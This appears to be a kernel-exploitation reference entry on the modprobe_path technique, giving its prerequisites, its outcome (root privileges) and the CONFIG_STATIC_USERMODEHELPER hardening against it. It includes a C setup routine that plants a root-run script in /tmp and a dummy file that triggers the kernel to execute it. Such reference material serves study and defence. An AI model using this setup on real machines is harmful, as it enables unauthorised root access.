modprobe_path

#targets

Requireskernel-arbitrary-write

Givesroot-privileges

HardeningCONFIG_STATIC_USERMODEHELPER

Relatedcore_pattern

modprobe_path is a kernel global variable that holds the path to the modprobe binary (usually /sbin/modprobe). When the kernel needs to load a module (e.g., when a device is plugged in or a packet with an unknown protocol is received), it executes the file at this path.

Plug and Play

void modprobe_exploit_setup() {
	//overwrite modprobe_path string with "/tmp/ex"
	//change the script content as needed
    FILE *fp = fopen("/tmp/ex", "w");
    if (fp) {
        fprintf(fp, "#!/bin/sh\n");
        fprintf(fp, "chmod 777 /flag\n"); 
        fclose(fp);
    }
    system("chmod +x /tmp/ex");

    // 2. Create the dummy file with invalid magic bytes (0xdeadbeef)
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    
    printf("[+] Modprobe exploit setup complete.\n");
}

Hardening

CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"

With these configs, Linux uses a fixed path. (Cannot overwrite it)